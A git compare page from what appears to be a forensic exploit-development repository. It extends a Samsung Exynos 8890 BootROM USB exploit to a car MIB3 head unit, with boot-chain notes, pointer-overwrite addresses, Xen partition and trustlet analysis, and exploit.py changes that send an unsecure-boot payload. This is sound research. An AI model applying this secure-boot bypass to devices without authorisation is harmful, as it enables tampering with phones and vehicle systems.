Compare commits

..

14 Commits

Author SHA1 Message Date
Jonathan Herrewijnen
ee3bf581e3 Merge branch 'main' of git.eminjenv.nl:nfi-exploitdev/samsung_s7 2024-12-07 20:59:40 +01:00
Jonathan Herrewijnen
72a50cd648 docs update and boot flow update 2024-12-07 20:58:35 +01:00
Jonathan Herrewijnen
ab0e9e3d57 docs update and boot flow update 2024-12-07 20:57:04 +01:00
Jonathan Herrewijnen
a7a5bdeb7e Can print UART address from functoin 2024-11-25 17:40:39 +01:00
Jonathan Herrewijnen
901f9b2141 Add gzf with ufs read/write 2024-11-25 13:58:05 +01:00
Jonathan Herrewijnen
05ae123c50 cleanup repository 2024-11-21 21:39:30 +01:00
Jonathan Herrewijnen
768ce5cf26 docs update on mobicore, xen and kinibi 2024-11-14 19:02:42 +01:00
Jonathan Herrewijnen
009be66808 adds ghidra mcl loader for ta.bin in aarchv7 32 le 2024-11-14 14:19:10 +01:00
Jonathan Herrewijnen
ef4b266b62 boots mib3 after BL33. keeps debugger? 2024-11-12 20:58:34 +01:00
Jonathan Herrewijnen
5bc481f321 Merge remote-tracking branch 'origin/HEAD' 2024-11-12 17:46:10 +01:00
Jonathan Herrewijnen
7cb00e4c98 update docs regarding xen 2024-11-12 17:44:35 +01:00
Jonathan Herrewijnen
7dc12e054f Merge remote-tracking branch 'origin/main' 2024-11-12 15:50:08 +01:00
Jonathan Herrewijnen
4b937366bd Merge remote-tracking branch 'origin/HEAD' 2024-11-12 15:49:23 +01:00
Jonathan Herrewijnen
e0269ae3f1 restore proper boot chain for samsung s7 2024-11-12 15:48:13 +01:00
20 changed files with 472 additions and 144 deletions

9
.vscode/launch.json vendored
View File

@ -4,6 +4,15 @@
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "Run a python file",
"type": "debugpy",
"request": "launch",
"program": "${file}",
"args": [],
"console": "integratedTerminal",
"justMyCode": false
},
{
"name": "Run exploit",
"type": "python",

View File

@ -358,3 +358,10 @@ If removing the ROM/UFS Short, the phone will go into odin mode. And is visible
Bus 001 Device 043: ID 04e8:685d Samsung Electronics Co., Ltd GT-I9100 Phone [Galaxy S II] (Download mode)
Exploiting on the MIB3
======================
There are some differences between the Head Unit and the phone (obviously), with the MIB3 boot stages being generally quite a bit larger. For instance, BL1 (or the second part of BL1) is 8.0Kb on the Samsung S7, but 28 Kb on the MIB3. As a result, the BL31 starts at ``0x020c0000`` on the MIB3, but at ``0x02024000`` on the Samsung S7. This also means that some pointers are at different addresses. On the S7, we overwrite a pointer at ``0x02021880`` on the MIB3, this pointer is at ``0x02021890``. Similarly, the pointer at BL31 changes because the BL31 starts at a different address. Mitigated most changes, except for the ``Authentication??`` part in BL31 (when booting from BL2 into BL33, something is done in BL31 to either verify or do something.)
The MMU appears to be off however.
This topic resumes in xen_and_mib3

View File

@ -1,63 +0,0 @@
===
XEN
===
partitions
----------
.. code:: bash
(venv) ➜ MIB3 Top High mmls 32gb.bin
GUID Partition Table (EFI)
Offset Sector: 0
Units are in 4096-byte sectors
Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001 Safety Table
001: ------- 0000000000 0000000255 0000000256 Unallocated
002: Meta 0000000001 0000000001 0000000001 GPT Header
003: Meta 0000000002 0000000005 0000000004 Partition Table
004: 000 0000000256 0000002815 0000002560 boot_a
005: 001 0000002816 0000005375 0000002560 boot_b
006: 002 0000005376 0000005887 0000000512 hyp_a
007: 003 0000005888 0000006143 0000000256 dtb_a
008: 004 0000006144 0000009727 0000003584 kerneldom0_a
009: 006 0000009728 0000012287 0000002560 initramfsdom0_a
010: 007 0000012288 0000102911 0000090624 systemdom0_a
011: 008 0000102912 0000109055 0000006144 system2dom0_a
012: 012 0000109056 0000113919 0000004864 kerneldomu1_a
013: 013 0000113920 0000114175 0000000256 dtbdomu1_a
014: 014 0000114176 0000116735 0000002560 initramfsdomu1_a
015: 015 0000116736 0000203775 0000087040 systemdomu1_a
016: 016 0000203776 0000209919 0000006144 system2domu1_a
017: 031 0000209920 0000210175 0000000256 align1
018: 032 0000210176 0000210687 0000000512 hyp_b
019: 033 0000210688 0000210943 0000000256 dtb_b
020: 034 0000210944 0000214527 0000003584 kerneldom0_b
021: 036 0000214528 0000217087 0000002560 initramfsdom0_b
022: 037 0000217088 0000307711 0000090624 systemdom0_b
023: 038 0000307712 0000313855 0000006144 system2dom0_b
024: 042 0000313856 0000318719 0000004864 kerneldomu1_b
025: 043 0000318720 0000318975 0000000256 dtbdomu1_b
026: 044 0000318976 0000321535 0000002560 initramfsdomu1_b
027: 045 0000321536 0000408575 0000087040 systemdomu1_b
028: 046 0000408576 0000414719 0000006144 system2domu1_b
029: 059 0000414720 0000418815 0000004096 system_error_dump
030: 069 0000418816 0000420863 0000002048 sys_ss
031: 070 0000420864 0000437247 0000016384 sys_persist
032: 071 0000437248 0000453631 0000016384 sys_irc
033: 072 0000453632 0000500735 0000047104 sys_misc1
034: 099 0000500736 0001063935 0000563200 ivi_opt
035: 100 0001063936 0007626751 0006562816 ivi
036: ------- 0007626752 0007627775 0000001024 Unallocated
TFFS is a proprietary file system from Tuxera, with one mounter available `tffsmount <https://github.com/NetherlandsForensicInstitute/tffsmount>`_, however, we had no success mounting this file system. However, a lot of information can already be extracted from the binary by using a simple strings operation.
Perceived boot order: boot_a, then hypervisor via hyp_a. dtb_a could be the device tree blob, providing information of/on hardware devices. kerneldom0_a would be the primary kernel, with initramfs being the RAM disk for dom0.
.. quote:: "Dom0 is the initial domain started by the Xen hypervisor on boot. Dom0 is an abbrevation of "Domain 0" (sometimes written as "domain zero" or the "host domain"). Dom0 is a privileged domain that starts first and manages the DomU unprivileged domains. The Xen hypervisor is not usable without Dom0. This is essentially the "host" operating system (or a "service console", if you prefer). As a result, Dom0 runs the Xen management toolstack, and has special privileges, like being able to access the hardware directly."
Data can be shared between domains using XenStore - an information storage space between domains maintained by Xenstored.
Dom0 is the only domain with direct access to hardware, with DomU being an unprivileged domain, which need to communicate with Dom0 to access hardware. Multiple DomU can be created.

View File

@ -0,0 +1,225 @@
============
XEN and MIB3
============
partitions
----------
The contents of the partitions taken from a chipoff. There's a large IVI partition containing partitions of its own.
.. code:: bash
(venv) ➜ MIB3 Top High mmls 32gb.bin
GUID Partition Table (EFI)
Offset Sector: 0
Units are in 4096-byte sectors
Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001 Safety Table
001: ------- 0000000000 0000000255 0000000256 Unallocated
002: Meta 0000000001 0000000001 0000000001 GPT Header
003: Meta 0000000002 0000000005 0000000004 Partition Table
004: 000 0000000256 0000002815 0000002560 boot_a
005: 001 0000002816 0000005375 0000002560 boot_b
006: 002 0000005376 0000005887 0000000512 hyp_a
007: 003 0000005888 0000006143 0000000256 dtb_a
008: 004 0000006144 0000009727 0000003584 kerneldom0_a
009: 006 0000009728 0000012287 0000002560 initramfsdom0_a
010: 007 0000012288 0000102911 0000090624 systemdom0_a
011: 008 0000102912 0000109055 0000006144 system2dom0_a
012: 012 0000109056 0000113919 0000004864 kerneldomu1_a
013: 013 0000113920 0000114175 0000000256 dtbdomu1_a
014: 014 0000114176 0000116735 0000002560 initramfsdomu1_a
015: 015 0000116736 0000203775 0000087040 systemdomu1_a
016: 016 0000203776 0000209919 0000006144 system2domu1_a
017: 031 0000209920 0000210175 0000000256 align1
018: 032 0000210176 0000210687 0000000512 hyp_b
019: 033 0000210688 0000210943 0000000256 dtb_b
020: 034 0000210944 0000214527 0000003584 kerneldom0_b
021: 036 0000214528 0000217087 0000002560 initramfsdom0_b
022: 037 0000217088 0000307711 0000090624 systemdom0_b
023: 038 0000307712 0000313855 0000006144 system2dom0_b
024: 042 0000313856 0000318719 0000004864 kerneldomu1_b
025: 043 0000318720 0000318975 0000000256 dtbdomu1_b
026: 044 0000318976 0000321535 0000002560 initramfsdomu1_b
027: 045 0000321536 0000408575 0000087040 systemdomu1_b
028: 046 0000408576 0000414719 0000006144 system2domu1_b
029: 059 0000414720 0000418815 0000004096 system_error_dump
030: 069 0000418816 0000420863 0000002048 sys_ss
031: 070 0000420864 0000437247 0000016384 sys_persist
032: 071 0000437248 0000453631 0000016384 sys_irc
033: 072 0000453632 0000500735 0000047104 sys_misc1
034: 099 0000500736 0001063935 0000563200 ivi_opt
035: 100 0001063936 0007626751 0006562816 ivi
036: ------- 0007626752 0007627775 0000001024 Unallocated
TFFS is a proprietary file system from Tuxera, with one mounter available `tffsmount <https://github.com/NetherlandsForensicInstitute/tffsmount>`_, however, we had no success mounting this file system. Luckily, a fair bit of information can already be extracted from the binary by using a simple strings operation. In order to view the contents of a specific partition, it's best to extract and unzip the partitions of interest.
.. code:: bash
dd if=32gb.bin of=initramfsdom0_a.bin.gz skip=0000009728 count=2560 bs=4096
gunzip initramfsdom0_a.bin.gz
mkdir initramfsdom0_a
mv initramfsdom0_a.bin initramfsdom0_a
cd initramfsdom0_a
cpio -idmv < initramfsdom0_a.bin
Alternative approach (not working for partitions within the IVI). ``python3 -m tffsmount 32gb.bin /tmp/mib3/tffsmount2 -o 0x1be00000``
.. code:: bash
➜ MIB3 Top High xxd 32gb.bin | grep .~.TFFS
03000000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
03006000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
17755d40: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
1c800000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
1c806000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
2d2b5d40: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
35000000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
35006000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
49755d40: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
4e800000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
4e806000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
5f2b5d40: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
66400000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
66406000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
66c00000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
66c06000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
6ac00000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
6ac06000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
6ec00000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
6ec06000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
7a400000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
7a406000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
104000000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
104006000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
105974000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
10597a000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
129474000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
12947a000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
25fc00000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
25fc06000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
263c00000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
263c06000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
26fc00000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
26fc06000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
3afc00000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
3afc06000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
3dfc00000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
3dfc06000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
4dfc00000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
4dfc06000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
545400000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
545406000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
745400000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
745406000: eb7e 9054 4646 5320 2020 2000 0000 0000 .~.TFFS .....
The initramfs partitions contain the initial ramdisk, which is a cpio archive. The contents of the initramfs can be extracted using the following command:
XEN, Domain0 and DomainU
------------------------
Virtual machines are essentially guest operating systems running on a device. Virtual machines share physical memory and can share hardware devices, creating security risks, allowing potential VM excapes. A mitigation is to have all hardware access isolated in a trusted execute environment (TEE), or in our case, this might already be the Domain0. The resources of the CPU and other peripherals are shared between the VMs, with the hypervisor managing the resources. In our case, Domain0 is the initial domain started by the Xen hypervisor on boot. Dom0 is an abbrevation of "Domain 0" (sometimes written as "domain zero" or the "host domain"). Dom0 is a privileged domain that starts first, and likely also has access to the hardware resources.
*"Dom0 is the initial domain started by the Xen hypervisor on boot. Dom0 is an abbrevation of "Domain 0" (sometimes written as "domain zero" or the "host domain"). Dom0 is a privileged domain that starts first and manages the DomU unprivileged domains. The Xen hypervisor is not usable without Dom0. This is essentially the "host" operating system (or a "service console", if you prefer). As a result, Dom0 runs the Xen management toolstack, and has special privileges, like being able to access the hardware directly."*
Data can be shared between domains using XenStore - an information storage space between domains maintained by Xenstored. Dom0 is the only domain with direct access to hardware, with DomU being an unprivileged domain, which need to communicate with Dom0 to access hardware. Multiple DomU can be created.
Sharing devices between Dom0 and DomU.
*"To access devices that are to be shared between domains, like the disks and network interfaces, the DomUs must communicate with Dom0. This is done by using a two-part driver. The FrontendDriver must be written for the OS used in the DomU, and uses XenBus, XenStore, shared pages, and event notifications to communicate with the BackendDriver, which lives in Dom0 and fulfils requests. To the applications and the rest of the kernel, the FrontendDriver just looks like a normal network interface, disk, or whatever. "*
MCLF, MobiCore or Trustonic
---------------------------
Looking through ``systemdom0_a`` at ``3000000``, we find three 'tabin' files with some hash as a filename, and ``MCLF`` in the header. These are likely trusted applets, running in the secure world. MCLF format (source: quarkslab0 and `kinibi` OS).
.. figure:: images/mclf_format.png
:alt: MCLF header
:align: center
These files contain a MCLF header when viewing the file header. MCLF is a Mobicore Loadable Format
.. code:: bash
➜ gradle-8.11 cd /tmp/mib3/tffsmount/3000000/opt/tee/ta
➜ ta ls
22546a5c7c8658b2b9159ca48a7f9272.tabin 2c0ba9cc522252ddaf45af9a79eab69f.tabin c4ad25cde4205d90ae7642155cd60556.tabin
Quarkslab on MCLF: `A Deep Dive Into Samsung's TrustZone (Part 1) <https://blog.quarkslab.com/a-deep-dive-into-samsungs-trustzone-part-1.html>` and `A Deep Dive Into Samsung's TrustZone (Part 2) <https://blog.quarkslab.com/a-deep-dive-into-samsungs-trustzone-part-2.html>`.
Trusted applets
^^^^^^^^^^^^^^^
Communication between secure and normal world are done using software interrupts and 'World Shared Memory' buffers. These WSM allow transfer of data. A ``MCLib`` - Mobicore Library - is used to communicate between trustlets. In our case: libMcClient.so, located at ``usr/lib/libMcClient.so``, which in turn communicates with a daemon: ``usr/bin/mcDriverDaemon`` (in systemdom0).
*"This library is not loaded dynamically by the trustlets. The address of the McLib's handler is written into them at load time and then used as a regular function as shown in the code snippet given below. The tlApi number is passed into R0 and the arguments in the rest of the general purpose registers or on the stack, depending on the number of arguments.""*
This MobiCore library is loaded at runtime. The trustlet command handlers provide an attack surface for higher privileged processes. Secure drivers are another type of applets, with higher privileges and access to hardware and additional Supervisor Calls (SVC). They are typically multithreaded, into a main, a normal world handler, a system/trustlet handler and an ISR thread handler.
.. figure:: images/trusted_app_mobicore_worldshares.png
:alt: Mobicore world shares
:align: center
Direct communication with a secure world driver is possible from the nowrmal world, using the shared buffer between both worlds, which passes the arguments for the secure world driver. The secure world driver can then access the hardware directly.
Kibini
^^^^^^
Kibini is part of SBoot, and is probably extracteable
Wahrheit
XEN logs
^^^^^^^^^^
.. code:: bash
<20><>Recovery mode
=> Return value : 3oad LDFW
S8=> Return value : 0
Xen 4.8.0
(XEN) [ 0.209091] [SB_ERR]Integrity check fail
(XEN) [ 0.209119] [SB_ERR]verify_signature: binary ID = [0x10], return = [0x50E01]
(XEN) [ 0.209128] Dom[1] Fail to auth the dtb binary, ret:331265
(XEN) [ 0.209565] Dom[0] 2th, load kernel binary at 0000000081280000, 0000000000100000
(XEN) [ 0.211313] Static RAM[00000008c0000000 ~ 000000097a000000] -> guest address [00000008c0000000 ~ 000000097a000000]
(XEN) [ 0.226360]
(XEN) [ 0.226360] ****************************************
(XEN) [ 0.233678] Loading dom initrd from 0000000089200000 to 0x0000000089200000-0x0000000089340000
(XEN) [ 0.237909] Dom[0] 3th, load kernel binary at 0000000081380000, 0000000000100000
(XEN) [ 0.245791] DOM RAM Popluation of the pre-assigned range done. unassigned mem:0x 0000000000000000 Bytes
(XEN) [ 0.253771] Panic on CPU 7:
(XEN) [ 0.263057] Allocating PPI 16 for event channel interrupt
(XEN) [ 0.274424] Dom[0] 4th, load kernel binary at 0000000081480000, 0000000000100000
(XEN) [ 0.284998] Fail to auth the dtb binary
(XEN) [ 0.291690] Loading dom0 DTB to 0x0000000089000000-0x000000008901e99e dtb_virt:0x0000000089000000
(XEN) [ 0.302564] Dom[0] 5th, load kernel binary at 0000000081580000, 0000000000100000
(XEN) [ 0.303995] ****************************************
(XEN) [ 0.303995]
(XEN) [ 0.313722] ___Dom0 construction done___
(XEN) [ 0.324977] Dom[0] 6th, load kernel binary at 0000000081680000, 0000000000100000
(XEN) [ 0.329844] Reboot in five seconds...
(XEN) [ 0.346093] Dom[0] 7th, load kernel binary at 0000000081780000, 0000000000100000
(XEN) [ 5.365817] exynos8890: keep scratch, 0xd (shutdown_code: 3)

View File

@ -260,7 +260,7 @@ It would appear that I'm currently only able to modify code before executing any
Week 45 - 2024
--------------
Loaded the debugger on the Head unit. There are some differences between the Head Unit and the phone (obviously), with the MIB3 boot stages being generally quite a bit larger. For instance, BL1 (or the second part of BL1) is 8.0Kb on the Samsung S7, but 28 Kb on the MIB3. As a result, the BL31 starts at ``0x020c0000`` on the MIB3, but at ``0x02024000``. This also means that some pointers are at different addresses. On the S7, we overwrite a pointer at ``0x02021880`` on the MIB3, this pointer is at ``0x02021890``. Similarly, the pointer at BL31 changes because the BL31 starts at a different address.
Loaded the debugger on the Head unit. There are some differences between the Head Unit and the phone (obviously), with the MIB3 boot stages being generally quite a bit larger. For instance, BL1 (or the second part of BL1) is 8.0Kb on the Samsung S7, but 28 Kb on the MIB3. As a result, the BL31 starts at ``0x020c0000`` on the MIB3, but at ``0x02024000``. This also means that some pointers are at different addresses. On the S7, we overwrite a pointer at ``0x02021880`` on the MIB3, this pointer is at ``0x02021890``. Similarly, the pointer at BL31 changes because the BL31 starts at a different address. Mitigated most changes, except for the authenitcation part.
The debugger stays alive, up until after booting BL2. But when we jump into the function that should receive the next boot stage for BL33, the debugger does not return, nor receive the next boot stage. Normally, on the Samsung S7, the device returns to the debugger, allowing modifications on the BL33 boot stage in memory.
@ -274,7 +274,36 @@ The debugger stays alive, up until after booting BL2. But when we jump into the
self.connect_device()
self.usb_read(0x200) # GiAs
The MMU appears to be off however.
The MMU appears to be off however (?!). Quick look through the MIB3 images, shows that some partitions are still unencrypted, and contain a fair amount of strings.
Quick look through the MIB3 images, shows that some partitions are still unencrypted, and contain a fair amount of strings.
If jumping into the boot BL33 function twice, the LDFW returns -. at the second jump. By using the modified fwbl1 from Francis, we can apply patches to uboot and boot them.
.. code:: bash
<20>Recovery mode
[ERROR] Fail to load LDFW
=> Return value : -1
LDFW init status=> Return value : -1
[ERROR] Fail to load Secure payload
=> Return value : -.
When continuing the boot flow by jumping into cf0052f8 after recovery boot
.. code:: bash
U-Boot 2012.07-gc7c41ec14-dirty (Oct 23 2019 - 12:53:04) for SADK8890
CPU: Exynos8890 Rev2.0 [Samsung SOC on SMP Platform Base on ARM CortexA53]
MNGS_PLL = 1975MHz APOLLO_PLL = 1481MHz MIF_PLL = 1539MHz
BUS0_PLL = 1056MHz BUS1_PLL = 800MHz BUS2_PLL = 672MHz BUS3_PLL = 1872MHz
MFC_PLL = 71MHz AUD_PLL = 494MHz G3D_PLL = 650MHz DISP_PLL = 63MHz
Board: SADK8890
DRAM: 6 GiB
ECT: PARA006o
I dumped the contents of 0xcf4dfb28 to 60, which is a boot path information setter. Something in BL33 is setting this, because it is still empty (0xFF) after booting into BL2 and waiting for BL33.

Binary file not shown.

After

Width:  |  Height:  |  Size: 99 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 230 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 49 KiB

View File

@ -0,0 +1,3 @@
from herrewebpy.firmware_forensics import memory_drawer
img = memory_drawer('partitions.csv')
img

View File

@ -0,0 +1,44 @@
start,end,name,order,comment,X0,LR
0x3000000,0x191ff000,systemdom0_a,,0000012288 to 0000102911,,
0x3006000,?,,,Not found with mmls. Divides to 12294,,
0x17755d40,?,,,Not found with mmls. Divides to 96085,,
0x1c800000,0x31bff000,systemdomu1_a,,0000116736 to 0000203775,,
0x1c806000,,,,Not found with mmls. Divides to 116742,,
0x2d2b5d40,,,,Not found with mmls. Divides to 185013.828125,,
0x35000000,,systemdom0_b,,0000217088 to 0000307711,,
0x35006000,,,,,,
0x49755d40,,,,Divides to 300885.828125,,
0x4e800000,,systemdomu1_b,,0000321536 to 0000408575,,
0x5f2b5d40,,,,Divides to 389813.828125,,
0x66400000,,sys_ss,,0000418816 to 0000420863,,
0x66406000,,,,,,
0x66c00000,,sys_persist,,0000420864 to 0000437247,,
0x66c06000,,,,,,
0x6ac00000,,sys_irc,,0000437248 to 0000453631,,
0x6ac06000,,,,,,
0x6ec00000,,sys_misc1,,0000453632 to 0000500735,,
0x6ec06000,,,,,,
0x7a400000,,ivi_opt,,0000500736 to 0001063935,,
0x7a406000,,,,,,
0x104000000,,,,Divides to 1064960.0,,
0x104006000,,,,Divides to 1064966.0,,
0x105974000,,,,,,
0x10597a000,,,,,,
0x129474000,,,,Divides to 1217652.0,,
0x12947a000,,,,,,
0x25fc00000,,dtb_a/dtb_b?,,Divides to 2489350,,SWUP? public CA-certificates
0x25fc06000,,,,,,
0x263c00000,,ivi_opt?,,,,Apps? In Vehicle Infotainment
0x263c06000,,,,,,
0x26fc00000,,dtb_a/dtb_b,,Contains only database information,,
0x26fc06000,,,,,,
0x3afc00000,,,,Some database like files,,
0x3afc06000,,,,,,
0x3dfc00000,,,,Some RAM like partition?,,
0x3dfc06000,,,,,,
0x4dfc00000,,,,Contains some docker stuff (no compose,,
0x4dfc06000,,,,,,
0x545400000,,,,Gracenote and some logs,,
0x545406000,,,,,,
0x745400000,,,,Contains only keys,,
0x745406000,,,,,,
1 start end name order comment X0 LR
2 0x3000000 0x191ff000 systemdom0_a 0000012288 to 0000102911
3 0x3006000 ? Not found with mmls. Divides to 12294
4 0x17755d40 ? Not found with mmls. Divides to 96085
5 0x1c800000 0x31bff000 systemdomu1_a 0000116736 to 0000203775
6 0x1c806000 Not found with mmls. Divides to 116742
7 0x2d2b5d40 Not found with mmls. Divides to 185013.828125
8 0x35000000 systemdom0_b 0000217088 to 0000307711
9 0x35006000
10 0x49755d40 Divides to 300885.828125
11 0x4e800000 systemdomu1_b 0000321536 to 0000408575
12 0x5f2b5d40 Divides to 389813.828125
13 0x66400000 sys_ss 0000418816 to 0000420863
14 0x66406000
15 0x66c00000 sys_persist 0000420864 to 0000437247
16 0x66c06000
17 0x6ac00000 sys_irc 0000437248 to 0000453631
18 0x6ac06000
19 0x6ec00000 sys_misc1 0000453632 to 0000500735
20 0x6ec06000
21 0x7a400000 ivi_opt 0000500736 to 0001063935
22 0x7a406000
23 0x104000000 Divides to 1064960.0
24 0x104006000 Divides to 1064966.0
25 0x105974000
26 0x10597a000
27 0x129474000 Divides to 1217652.0
28 0x12947a000
29 0x25fc00000 dtb_a/dtb_b? Divides to 2489350 SWUP? public CA-certificates
30 0x25fc06000
31 0x263c00000 ivi_opt? Apps? In Vehicle Infotainment
32 0x263c06000
33 0x26fc00000 dtb_a/dtb_b Contains only database information
34 0x26fc06000
35 0x3afc00000 Some database like files
36 0x3afc06000
37 0x3dfc00000 Some RAM like partition?
38 0x3dfc06000
39 0x4dfc00000 Contains some docker stuff (no compose
40 0x4dfc06000
41 0x545400000 Gracenote and some logs
42 0x545406000
43 0x745400000 Contains only keys
44 0x745406000

View File

@ -14,4 +14,5 @@ Documentation on Samsung devices, currently mainly the Samsung S7. Here we're ex
BootROM_8890/01_start.rst
BootROM_8890/02_frederics_exploit.rst
BootROM_8890/03_exploit_boot_chain.rst
BootROM_8890/04_notes.rst
BootROM_8890/04_xen_and_mib3.rst
BootROM_8890/05_notes.rst

Binary file not shown.

0
dump/reloc_debugger_0x11200000.bin Executable file → Normal file
View File

View File

@ -1,5 +1,8 @@
# Source
``exploit`` contains the source code for the (python)exploit of the USB bug, as well as the current stage1 code.
``mib3`` contains some boot data for the MIB3
``S7`` contains the sboot data for the Samsung S7
``mib3`` contains boot data for the MIB3 head unit
``screen_print`` contains a (not working!) effort to use the screen to use the S7 device screen to print logs
``ghidra_assistant`` contains the wheel to install ghidra_assistant
``gupje_device`` contains code to build the debugger

View File

@ -28,7 +28,7 @@
"program": "exploit.py",
"console": "integratedTerminal",
"justMyCode": false,
"args": ["--unsecure-boot"]
"args": ["--unsecure-boot", "--MIB3"]
},
{
"name": "Run debugger boot",
@ -37,7 +37,7 @@
"program": "exploit.py",
"console": "integratedTerminal",
"justMyCode": false,
"args": ["--debugger-boot", "--MIB3"],
"args": ["--debugger-boot", "--MIB3"], //, "--MIB3"
},
{
"name": "Debug current file",

View File

@ -161,29 +161,32 @@ class ExynosDevice():
'''
Do a normal boot process, with or without exploit.
'''
bl1 = open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read()
bl31 = open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read()
bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
bl33 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
if args.MIB3:
bl1 = open("../mib3/boot_partitions/fwbl1_a.bin", "rb").read()
bl31 = open("../mib3/boot_partitions/el3_mon_a.bin", "rb").read()
bl2 = open("../mib3/boot_partitions/bl2_a.bin", "rb").read()
bl33 = open("../mib3/boot_partitions/u-boot_a.bin", "rb").read()
off = bl31.find(b'Built')
bl31 = bl31[:off] + b'Built' + bl31[off+len(b'Built'):]
if exploit:
self.exploit(open("../../dump/exynos-usbdl/payloads/Exynos8890_unsecure_boot_usb.bin", "rb").read())
time.sleep(2)
self.connect_device()
# self.send_normal_stage("/home/eljakim/Source/Samsung_S7/source/S7/g930f_latest/g930f_sboot.bin.1.bin")
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())
# self.send_normal_stage(open("../S7/bl1.bin", "rb").read())
# self.send_normal_stage(open("../../dump/rom.bin.1.bin", "rb").read())
# wait_disconnect()
self.send_normal_stage(bl1)
time.sleep(2)
self.connect_device()
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())
# self.send_normal_stage(open("../S7/bl31.bin", "rb").read())
# wait_disconnect()
self.send_normal_stage(bl31)
time.sleep(2)
self.connect_device()
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read())
# self.send_normal_stage(open("../S7/sboot.bin.3.bin", "rb").read())
# wait_disconnect()
self.send_normal_stage(bl2)
time.sleep(2)
self.connect_device()
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read())
# self.send_normal_stage(open("../S7/sboot.bin.4.bin", "rb").read())
self.send_normal_stage(bl33)
pass
@ -246,6 +249,7 @@ class ExynosDevice():
assert len(data) <= 0x200, "Data too big"
transferred = ctypes.c_int()
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 300)
assert res == 0, f"Error sending data {res}"
assert transferred.value == len(data), f"Invalid transfered size {transferred.value} != {len(data)}"
return transferred.value
@ -620,6 +624,19 @@ class ExynosDevice():
print(f'Jumped to {hex(address)} and back')
def print_registry_status(self):
"""Print potentially interesting registry status (statii?) of the device"""
self.cd.arch_dbg.fetch_special_regs()
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}')
print(f'VBAR_EL3: {hex(self.cd.arch_dbg.state.VBAR_EL3)}, VBAR_EL2: {hex(self.cd.arch_dbg.state.VBAR_EL2)}, VBAR_EL1: {hex(self.cd.arch_dbg.state.VBAR_EL1)}')
print(f'TCR_EL3: {hex(self.cd.arch_dbg.state.TCR_EL3)}, TCR_EL2: {hex(self.cd.arch_dbg.state.TCR_EL2)}, TCR_EL1: {hex(self.cd.arch_dbg.state.TCR_EL1)}')
